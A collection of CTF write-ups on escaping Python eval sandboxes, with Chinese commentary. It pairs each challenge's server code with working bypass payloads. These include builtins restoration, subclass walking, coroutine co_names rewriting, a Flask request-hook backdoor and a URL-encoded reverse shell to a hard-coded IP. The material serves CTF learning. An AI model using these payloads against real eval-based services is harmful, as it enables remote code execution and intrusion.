FLAG = open('flag.txt').read()
inp = input('> ')
if re.search(r'\d', inp) or eval(inp) != 1337:
print('Nope')
else:
print(FLAG)
- payload
int(str(len('a')) + str(len('aaa')) + str(len('aaa')) + str(len('aaaaaaa')))
BYUCTF 2023 Leet 2
- server.py
import re
FLAG = open('flag.txt').read()
inp = input('> ')
if re.search(r'[123456789]', inp) or re.search(r'\(', inp) or eval(inp) != 1337:
print('Nope')
else:
print(FLAG)
- payload
0xff+0xff+0xff+0xaf+0xaf+0xde
BYUCTF 2023 abcdefghijklm
- server.py
inp = input("code > ").lower()
eval((inp[:4]+__import__("re").sub(r'[a-m]','',inp[4:]))[:80])
- payload
eval("\145\166\141\154\050\151\156\160\165\164\050\051\051")
Pwnhub 2022
- server.py
过滤了字母
- payload
# open(bytes((47,102,108,97,103)).decode()).read()
## shell 生成,正常输入payload
shell = f"__import__('os').popen('{input()}').read()"
shell = ','.join([str(ord(i)) for i in shell])
a = f'eval(bytes(({shell})).decode())'
b = list('abcdefghijklmnopqrstuvwxyz')
c = list('abcdefghijklmnopqrstuvwxyz')
assert len(b) == len(c)
for i in range(len(c)):
a = a.replace(c[i], b[i])
print(a)
Unknown CTF
server.py
后期仿的,基本一样
string = "abcdefghjklimnopqrstuvwxyz:=[]()_'"
def check(input_data: str):
if all([i in string for i in input_data]):
return True
return False
print("White list: [a-z] = : () [] '")
print('eval(input_data, {"__builtins__": {"__import__": __import__}})')
input_data = input()
if check(input_data):
eval(input_data, {"__builtins__": {"__import__": __import__}})
else:
print("Bad Code!!!")
思路
- 清理了
__builtins__
,只保留了__import__
,导致eval
input
等函数无法使用,尝试复原__builtins__
__builtins__ = __import__('builtins')
- 过滤了
空格
与句点
,无法直接通过__import__
后调用函数,尝试复原__builtins__
后直接调用,就需要将赋值
与调用
放在同一个表达式中,涉及:=
a = [1, 2, 3, 4]
if (a := len(a)) > 3:
print(a)
# output: 4
- 在同一个语句中同时
__import__
与使用eval() input()
,并且不适用空格等其余字符,则尝试and
或or
表达式,此处涉及and
与or
的短路逻辑- 参考文章:https://blog.csdn.net/Echo_Zhang12/article/details/111330901
def a():
print("a")
return 0
def b():
print("b")
return 1
def c():
print("c")
return 2
def d():
print("d")
return 3
def e():
print("e")
return 0
def f():
print("f")
return 4
def g():
print("g")
return 0
def h():
print("h")
return 5
result = a() and b() and c() or d() or e() and g() or h()
print("最终返回值:", result)
```
输出结果为:
a
d
最终返回值: 3
```
payload
(__builtins__:=__import__('builtins'))and(eval(input()))
and
左侧先进行复原__builtins__
,并且此时赋值结果等同于True
- 则仍需执行右侧表达式,此时达成RCE
HSCTF 2023 fast-forward
- server.py
#!/usr/bin/env python3.9
import dis
import readline # pylint: disable=unused-import
import types
import random
import string
with open("flag.txt", encoding="utf-8") as f:
flag = f.read().strip()
def all_code_objects(code):
yield code
for const in code.co_consts:
if isinstance(const, types.CodeType):
yield from all_code_objects(const)
def main():
allowed_instructions = [
#unary
"UNARY_POSITIVE",
"UNARY_NEGATIVE",
"UNARY_NOT",
"UNARY_INVERT",
"GET_ITER",
# binary
"STORE_SUBSCR",
"COMPARE_OP",
"IS_OP",
"CONTAINS_OP",
# comprehensions
"SET_ADD",
"LIST_APPEND",
"MAP_ADD",
# misc
"RETURN_VALUE",
"CALL_FUNCTION",
"MAKE_FUNCTION",
"BUILD_SLICE",
"EXTENDED_ARG",
"FOR_ITER",
# variables
"STORE_NAME",
"STORE_GLOBAL",
"STORE_FAST",
"LOAD_CONST",
"LOAD_NAME",
"LOAD_GLOBAL",
"LOAD_FAST",
# collections
"BUILD_TUPLE",
"BUILD_LIST",
"BUILD_SET",
"BUILD_MAP",
"BUILD_STRING",
"LIST_EXTEND",
"SET_UPDATE",
"DICT_UPDATE",
#jumps
"JUMP_FORWARD",
"POP_JUMP_IF_TRUE",
"POP_JUMP_IF_FALSE",
"JUMP_IF_TRUE_OR_POP",
"JUMP_IF_FALSE_OR_POP",
"JUMP_ABSOLUTE"
]
# unnecessary globals slow us down
allowed_globals = vars(__builtins__).copy()
for var in (
"getattr", "setattr", "eval", "exec", "__import__", "open", "__builtins__", "breakpoint",
"help"
):
allowed_globals[var] = None
while True:
if random.random() < 0.1:
print("Stuck? Here's a hint:")
letter = random.choice(string.ascii_lowercase)
print(f"There are {flag.count(letter)} {letter}'s in the flag!")
try:
inp = input("> ")
except (EOFError, KeyboardInterrupt):
exit()
if not inp:
continue
code = compile(inp, "", "exec")
for subcode in all_code_objects(code):
for instruction in dis.Bytecode(subcode):
# unnecessary instructions slow us down
if instruction.opname not in allowed_instructions and not (
instruction.opname.startswith("BINARY_") or
instruction.opname.startswith("INPLACE_")
):
break
else:
break
for name in subcode.co_names + subcode.co_varnames:
# long variable names slow us down
if len(name) > 5:
break
else:
break
else:
print("Illegal!")
continue
try:
exec(code, allowed_globals.copy())
except Exception:
print("Error!")
if __name__ == "__main__":
main()
- payload
(lambda: [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'BuiltinImporter'][0]().load_module('os').system("/bin/sh < flag.txt"))()
D^3CTF 2023 EscapePlan
- server.py
#
- By Host✌
import base64
import requests
exp = '(msg:=𝐬𝐭𝐫(request))and(𝐞𝐯𝐚𝐥(msg[int(True)'+"-~int(False)"*37+':int(True)'+"-~int(False)"*166+']))'
r = requests.post("""http://xxx/?app.before_request_funcs.setdefault(None,list()).append(lambda:__import__('os').popen(request.args.get('shell','whoami')).read())""", data={"cmd": base64.b64encode(exp.encode())})
print(r.text)
- By r3kapig
a=import%20socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%22147.182.242.247%22%2c4444))%3bos.dup2(s.fileno()%2c0)%3b%20os.dup2(s.fileno()%2c1)%3b%20os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b&cmd=KGk6PWl0ZXIodmFycyhyZXF1ZXN0KSkpYW5kKGI6PShuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKWFuZChuZXh0KGkpKSlhbmQoZjo9dmFycyhyZXF1ZXN0KVtiXSlhbmQo772F772Y772F772DKGZbbmV4dChpdGVyKGYpKV0pKQ%3d%3d
Hack.lu 2023 Safest Eval
参考原文:rebane2001,学到了很多,感谢
在原文中的最终exp,执行coroutine时,while的条件为
while coroutine.cr_running or not coroutine.cr_suspended
,其中cr_suspended
在3.11中才引入,但其本质为bool类型的值,标志着协程的终止,可以直接while True
代替,反正协程结束时会raise StopIteration
- server.py
from types import CodeType, FunctionType
from opcode import opname, opmap
import dis
import sys
BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"]
BAD_OPCODES = {opmap[opname] for opname in
['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR',
'IMPORT_NAME', 'IMPORT_FROM']}
BUILTINS = {
'enumerate': enumerate,
'int': int,
'zip': zip,
'True': True,
'filter': filter,
'list': list,
'max': max,
'float': float,
'divmod': divmod,
'unicode': str,
'min': min,
'range': range,
'sum': sum,
'abs': abs,
'sorted': sorted,
'repr': repr,
'isinstance': isinstance,
'bool': bool,
'set': set,
'Exception': Exception,
'tuple': tuple,
'chr': chr,
'function': FunctionType,
'ord': ord,
'None': None,
'round': round,
'map': map,
'len': len,
'bytes': bytes,
'str': str,
'all': all,
'xrange': range,
'False': False,
'any': any,
'dict': dict,
}
def check_co(co):
for to_check in co.co_names + co.co_consts:
if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS):
raise Exception(f"Bad attr: {to_check}")
opcodes = {instruction.opcode for instruction in dis.get_instructions(co)}
if opcodes.intersection(BAD_OPCODES):
raise Exception(f"Bad opcode(s): {', '.join(opname[opcode] for opcode in opcodes.intersection(BAD_OPCODES))}")
for const in co.co_consts:
if isinstance(const, CodeType):
check_co(const)
def safest_eval(expr):
co = compile(expr, "", "exec")
check_co(co)
eval_globals = {"__builtins__": dict(BUILTINS)}
eval(co, eval_globals)
return eval_globals
def palindrome_challenge(user_code):
challenge_code = f"""
{user_code}
solved = False
if isinstance(is_palindrome, function):
challenges = [["ooffoo", "murderforajarofredrum", "palindrome", ""], [True, True, False, True]]
solved = list(map(is_palindrome, challenges[0])) == challenges[1]
"""
try:
eval_globals = safest_eval(challenge_code)
if eval_globals["solved"] is True:
print("Solved")
else:
print("Not Solved")
except SyntaxError:
print("SyntaxError")
except Exception:
print("Exception")
if __name__ == "__main__":
palindrome_challenge(sys.argv[1])
- 通过
opcode
和限制builtins禁用了很多东西
BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"]
BAD_OPCODES = {opmap[opname] for opname in
['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR',
'IMPORT_NAME', 'IMPORT_FROM']}
BUILTINS = {
'enumerate': enumerate,
'int': int,
'zip': zip,
'True': True,
'filter': filter,
'list': list,
'max': max,
'float': float,
'divmod': divmod,
'unicode': str,
'min': min,
'range': range,
'sum': sum,
'abs': abs,
'sorted': sorted,
'repr': repr,
'isinstance': isinstance,
'bool': bool,
'set': set,
'Exception': Exception,
'tuple': tuple,
'chr': chr,
'function': FunctionType,
'ord': ord,
'None': None,
'round': round,
'map': map,
'len': len,
'bytes': bytes,
'str': str,
'all': all,
'xrange': range,
'False': False,
'any': any,
'dict': dict,
}
- 按照以往的经验,为达到RCE的目的,需要通过
__import__
或者python的魔法属性向上寻找导入os模块,但是在此处eval
的环境中不存在__import__
,并且只保留了部分__builtins__
,目前唯一可能可行的就是通过类寻找os模块 - 但是题目同时将
__
过滤,致使不能直接通过类似"".__class__
的方式获取到魔法属性
for to_check in co.co_names + co.co_consts:
if type(to_check) is str and ("__" in to_check or to_check in BAD_ATTRS):
raise Exception(f"Bad attr: {to_check}")
- 此处,很容易想到能否使用replace的方式,将
__
替换出来,在后续的代码中将错误的属性替换为正确的
"AAclassAA".replace("A", "_")
- 但因为不存在
eval
等函数,无法执行替换好的代码,则需要考虑能否将已有的生成器中的语句进行替换,令其执行我们需要的代码,已知co_names
是python中的字节码的属性,可以通过修改co_names
的方式修改执行的字节码
Generator
生成器,简单的理解为一边循环一边计算的机制
- 普通的函数定义并不能构造出一个生成器,协程可以
async def hello():
abcd
a = hello()
print(dir(a))
# ['__await__', '__class__', '__del__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'cr_await', 'cr_code', 'cr_frame', 'cr_origin', 'cr_running', 'send', 'throw']
code = a.cr_code
print(dir(code))
# ['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
print(code.co_names)
# ('abcd',)
- 修改opcode
code = code.replace(co_names=tuple("bcdef" for i in code.co_names))
print(code.co_names)
# ('bcdef',)
- 此处有了被更改过后的代码,还需要将其转换为可执行的协程函数,通过FunctionType转换为函数类型
- 此题,代码执行环境中
function = FunctionType
- 以此题为例,为绕过
__
过滤,使用replace替换AA
为__
- 此题,代码执行环境中
from types import FunctionType as function
async def hello():
AAimportAA("os").system("calc")
ob = hello()
code = ob.cr_code
code = code.replace(co_names=tuple(i.replace("A", "_") for i in code.co_names))
func = function(code, {})()
print(type(func))
# <class 'coroutine'>
- 此时,我们成功构造出了一个协程函数,接下来就是如何去运行这个函数
- 正常情况下,需要通过
asyncio.run()
启动一个协程,此处无法正常导入asyncio这个包,查看一下底层逻辑,手动启动这个协程函数
https://docs.python.org/zh-cn/3/reference/datamodel.html?highlight=coroutine%20send#coroutine.send
coroutine.send(value)
开始或恢复协程的执行。 如果value为None
,那么这就相当于前往await()
所返回迭代器的下一项。 如果value不为None
,此方法将委托给导致协程挂起的迭代器的send()
方法。 其结果(返回值,StopIteration
或是其他异常)将与上述对await()返回值进行迭代的结果相同。
func.send(None)
- 成功弹出计算器,接下来是RCE执行/readflag获取flag,可以通过协程函数结束时
raise StopIteration
获取命令执行结果
try:
func.send(None)
except Exception as e:
flag = e
print(flag)
# ...
- 因为最终返回给用户的响应只有四种,通过测信道获取执行的结果
try:
eval_globals = safest_eval(challenge_code)
if eval_globals["solved"] is True:
print("Solved")
else:
print("Not Solved")
except SyntaxError:
print("SyntaxError")
except Exception:
print("Exception")
- 最终构造恶意代码
async def async_function():
subclasses = ().AAclassAA.AAbaseAA.AAsubclassesAA()
for subclass in subclasses:
try:
return subclass.load_module('os').popen('/readflag').read()
except:
pass
async_object = async_function()
code_object = async_object.cr_code
code_object = code_object.replace(co_names=tuple(name.replace("A", "_") for name in code_object.co_names))
coroutine = function(code_object, {})()
try:
while coroutine.cr_running or not coroutine.cr_suspended:
coroutine.send(None)
except Exception as e:
flag = str(e)
is_palindrome = (lambda x: x == x[::-1]) if CHECK_EXPRESSION else None
CHECK_EXPRESSION
依次比较每个字符,通过响应的Solved
和Not Solved
确定具体字符